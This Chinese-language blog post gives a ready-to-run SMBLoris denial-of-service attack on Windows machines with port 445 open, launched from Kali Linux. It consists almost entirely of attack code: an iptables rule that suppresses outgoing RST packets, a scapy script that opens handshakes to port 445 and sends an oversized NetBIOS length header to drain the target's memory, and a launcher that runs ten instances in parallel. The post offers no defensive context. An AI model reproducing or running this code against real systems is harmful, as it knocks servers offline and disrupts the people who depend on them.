美文网首页Ethical HackersLinux学习之路我用 Linux
kali下利用smb漏洞实现DDOS(SMBLoris攻击消耗w

kali下利用smb漏洞实现DDOS(SMBLoris攻击消耗w

作者: 一点也不想吃辣 | 来源:发表于2017-08-03 21:49 被阅读123次

参考:https://v.qq.com/x/page/d0532b3e7p6.html?start=36
http://www.freebuf.com/news/142697.html

目标开放445端口,windows系统。
攻击者kali最新版(2017年8月3日 21:42:20)

cat rst.sh

#!/bin/bash
iptables -F
iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

cat smb3.py

from scapy.all import *
import sys
p0 = int(sys.argv[1])
conf.L3socket
conf.L3socket=L3RawSocket
i=IP()
i.dst="目标IP"
t=TCP()
t.dport=445

for p in range(p0,p0+700):
  print p
  t.sport = p
  t.flags = "S"

  r=sr1(i/t)
  rt=r[TCP]
  t.ack=rt.seq+1
  t.seq=rt.ack
  t.flags="A"
  sbss='\x00\x01\xff\xff'
  send(i/t/sbss)

cat run10.sh

#!/bin/bash
python smb3.py 0 &
python smb3.py 1000 &
python smb3.py 2000 &
python smb3.py 3000 &
python smb3.py 4000 &
python smb3.py 5000 &
python smb3.py 6000 &
python smb3.py 7000 &
python smb3.py 8000 &
python smb3.py 9000 &

运行run10.sh开始攻击测试。

相关文章

  • kali下利用smb漏洞实现DDOS(SMBLoris攻击消耗w

    参考:https://v.qq.com/x/page/d0532b3e7p6.html?start=36http:...

  • DDoS -- syn flood

    1. 概述 SYN flood是Network layer的DDoS攻击之一。该攻击利用TCP握手缺陷消耗被攻击方...

  • Kali Linux利用setoolkit仿站钓鱼

    前言: Setoolkit是一个攻击工具集,有着许多攻击方法、漏洞利用代码、辅助脚本等。 使用: 我们在kali中...

  • DDoS攻防

    DDoS攻击概述 DDoS 攻击分类 带宽消耗型就是消耗网络带宽,需要保证攻击端流量比被攻击端大,所以一般是分布式...

  • acccheck

    acccheck-SMB的密码字典攻击工具 root@kali:~# acccheck acccheck v0.2...

  • 常见的WEB攻击

    XSS攻击,CSRF攻击,SQL注入攻击,文件上传漏洞,DDoS攻击,其他攻击手段 1.XSS攻击 XSS(Cro...

  • DDoS防御详解

    DDoS 攻击与防护实践 DDoS 攻击的实现方式主要有如下两种: 自建 DDoS 平台 现在有开源的 DDoS ...

  • 震网三代 CVE-2017-8464

    利用该漏洞生成的快捷方式,通过可移动设备的的方式导致远程代码执行,触发该漏洞 实验攻击机:kali 实验靶机:wi...

  • Metasploit溢出sysmlink默认配置目录遍历漏洞

    目的 利用sysmlink漏洞读取目标主机的passwd文件内容。 原理 Samba是一套实现SMB(server...

  • ddos基础防护

    DDOS攻击类型: 1.资源消耗型攻击:Syn Flood 、UDP Flood、ACK Flood、ICMP F...

网友评论

本文标题:kali下利用smb漏洞实现DDOS(SMBLoris攻击消耗w

本文链接:https://www.haomeiwen.com/subject/jflmlxtx.html